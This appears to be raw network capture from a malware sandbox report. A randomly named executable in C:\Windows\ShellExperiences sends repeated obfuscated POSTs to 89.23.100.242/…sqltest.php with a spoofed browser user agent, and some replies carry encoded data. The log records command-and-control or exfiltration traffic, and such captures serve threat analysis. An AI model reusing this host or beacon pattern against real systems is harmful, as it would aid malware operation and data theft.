Jan 10, 2025 07:58:36.298559904 CET	2536	OUT	Data Raw: 59 57 43 57 5b 5a 53 57 58 5b 57 56 50 5b 5b 52 55 52 5e 5a 54 5c 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YWCW[ZSWX[WVP[[RUR^ZT\Q^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'/2/X+.?(,)(+);+!'+('=G1>#''_!/Y.-
Jan 10, 2025 07:58:36.692507982 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 33 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50039	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:36.823646069 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:37.173472881 CET	2544	OUT	Data Raw: 5c 52 43 55 5b 59 56 52 58 5b 57 56 50 52 5b 5b 55 54 5e 5a 54 5c 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \RCU[YVRX[WVPR[[UT^ZT\QZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'D/",>-1+6#/*-?$X+(8\5 <3)Y92>#0'_!/Y.
Jan 10, 2025 07:58:37.561105013 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:37.713267088 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50045	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:37.857400894 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:38.204751968 CET	2536	OUT	Data Raw: 59 52 46 57 5e 5f 53 57 58 5b 57 56 50 5b 5b 50 55 54 5e 5a 54 5e 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YRFW^_SWX[WVP[[PUT^ZT^Q[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',1,(<%4;W?$);<[!,( +X)Y)1.;3:'_!/Y.%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50046	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:38.270625114 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:38.628175020 CET	2036	OUT	Data Raw: 5c 54 43 52 5b 5c 56 56 58 5b 57 56 50 5d 5b 50 55 5d 5e 5f 54 50 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TCR[\VVX[WVP][PU]^_TPQRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',"$>=_>6 8(>(('"$8+ >%(Y$'_!/Y.1
Jan 10, 2025 07:58:39.107450008 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:39.236702919 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 56 20 28 2c 1e 26 2c 21 11 2c 3f 25 57 3c 30 0a 58 2a 04 2b 58 2a 0a 3c 0e 2d 2c 24 0c 22 02 39 5e 2b 22 04 56 24 12 24 52 26 27 21 59 0c 13 25 00 28 04 2d 1d 3e 03 2f 03 3f 31 0c 45 33 33 27 1d 30 03 31 53 23 59 3c 5a 3c 39 22 0c 28 22 3d 53 2d 2a 33 05 28 2c 2c 1f 24 0c 2a 57 0c 1f 26 56 36 32 25 13 21 21 29 03 24 38 38 0c 33 06 20 1c 24 3f 28 05 23 14 23 5b 2d 07 24 12 22 3e 09 02 2a 10 00 56 23 21 3c 17 3f 06 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989V (,&,!,?%W<0X+X<-,$"9^+"V$$R&'!Y%(->/?1E33'01S#Y<Z<9"("=S-3(,,$W&V62%!!)$883 $?(##[-$">*V#!<? Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50050	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:38.880065918 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:39.236124992 CET	2544	OUT	Data Raw: 59 5e 46 53 5e 5d 56 56 58 5b 57 56 50 5c 5b 54 55 52 5e 5f 54 5a 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y^FS^]VVX[WVP\[TUR^_TZQ]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$.!?9<5$Z8!U<?(8]";T<U7=<:C%=/$:'_!/Y.
Jan 10, 2025 07:58:39.586740017 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:39.720976114 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50058	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:39.848947048 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:40.205039978 CET	2544	OUT	Data Raw: 59 54 46 53 5e 5e 56 5e 58 5b 57 56 50 53 5b 56 55 54 5e 5d 54 51 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTFS^^V^X[WVPS[VUT^]TQQ]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'E8W8?=+6?/\9<>?(5$<3Y):C&=0:'_!/Y.
Jan 10, 2025 07:58:40.664228916 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:40.798530102 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50064	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:40.979882956 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:41.333189964 CET	2544	OUT	Data Raw: 59 53 46 52 5e 5e 56 5f 58 5b 57 56 50 53 5b 52 55 54 5e 5c 54 5b 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YSFR^^V_X[WVPS[RUT^\T[Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$82/<"+&\/*9V<><^?;'#$(0)<=1>8':'_!/Y.
Jan 10, 2025 07:58:41.724344969 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:41.962632895 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0
Jan 10, 2025 07:58:41.962658882 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50070	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:42.083045959 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:42.439197063 CET	2544	OUT	Data Raw: 59 55 46 55 5e 57 56 56 58 5b 57 56 50 5c 5b 57 55 56 5e 58 54 5e 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUFU^WVVX[WVP\[WUV^XT^Q]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,1<.>>&Z-:2?[$(+4]5#Q(3<F%&*'_!/Y.
Jan 10, 2025 07:58:42.826157093 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:42.977946997 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50077	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:43.105462074 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:43.454941034 CET	2544	OUT	Data Raw: 59 54 43 56 5b 5d 53 57 58 5b 57 56 50 53 5b 52 55 54 5e 52 54 59 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTCV[]SWX[WVPS[RUT^RTYQSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/'X>>><5<,:>-')(#!'<3>?G1X&:'_!/Y.
Jan 10, 2025 07:58:43.857805967 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:43.984622955 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50087	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:44.113409042 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50088	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:44.258855104 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2024 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:44.610959053 CET	2024	OUT	Data Raw: 5c 52 46 54 5e 5a 56 56 58 5b 57 56 50 5b 5b 56 55 5c 5e 53 54 50 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \RFT^ZVVX[WVP[[VU\^STPQ]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'810<[2+&+/.?,++75$<3(+<)&$0'_!/Y.=
Jan 10, 2025 07:58:45.209795952 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:45.209866047 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 1f 37 2b 3c 1f 26 3f 35 56 2d 3f 39 57 2b 0e 37 06 29 3e 34 01 3e 0d 28 0c 2d 06 34 0f 21 28 21 58 2b 0c 3d 0a 26 2c 24 1e 25 37 21 59 0c 13 25 03 28 39 2d 51 3d 3a 0a 5b 2b 1f 2d 19 24 33 20 03 24 2d 21 18 37 06 38 5c 3e 2a 3d 19 2a 22 3a 0e 2e 07 05 03 28 3c 2c 1e 27 36 2a 57 0c 1f 26 10 35 1c 25 50 36 1c 3a 5c 30 2b 3b 54 24 16 06 55 32 11 3f 13 37 03 20 03 2c 2a 3b 00 22 00 0e 11 28 3e 25 0a 35 0c 3c 52 29 3c 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 9897+<&?5V-?9W+7)>4>(-4!(!X+=&,$%7!Y%(9-Q=:[+-$3 $-!78\>=":.(<,'6W&5%P6:\0+;T$U2?7 ,;"(>%5<R)< Q""P0]Q0
Jan 10, 2025 07:58:45.209893942 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 1f 37 2b 3c 1f 26 3f 35 56 2d 3f 39 57 2b 0e 37 06 29 3e 34 01 3e 0d 28 0c 2d 06 34 0f 21 28 21 58 2b 0c 3d 0a 26 2c 24 1e 25 37 21 59 0c 13 25 03 28 39 2d 51 3d 3a 0a 5b 2b 1f 2d 19 24 33 20 03 24 2d 21 18 37 06 38 5c 3e 2a 3d 19 2a 22 3a 0e 2e 07 05 03 28 3c 2c 1e 27 36 2a 57 0c 1f 26 10 35 1c 25 50 36 1c 3a 5c 30 2b 3b 54 24 16 06 55 32 11 3f 13 37 03 20 03 2c 2a 3b 00 22 00 0e 11 28 3e 25 0a 35 0c 3c 52 29 3c 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 9897+<&?5V-?9W+7)>4>(-4!(!X+=&,$%7!Y%(9-Q=:[+-$3 $-!78\>=":.(<,'6W&5%P6:\0+;T$U2?7 ,;"(>%5<R)< Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50089	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:44.380027056 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:44.735991001 CET	2544	OUT	Data Raw: 5c 51 43 55 5b 5e 56 5f 58 5b 57 56 50 5a 5b 5b 55 51 5e 5b 54 5b 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \QCU[^V_X[WVPZ[[UQ^[T[Q]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C823Z(1+<-:"<4+^+"T<3Y+?"C1-8&*'_!/Y.-
Jan 10, 2025 07:58:45.209836006 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:45.294086933 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50090	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:45.442540884 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
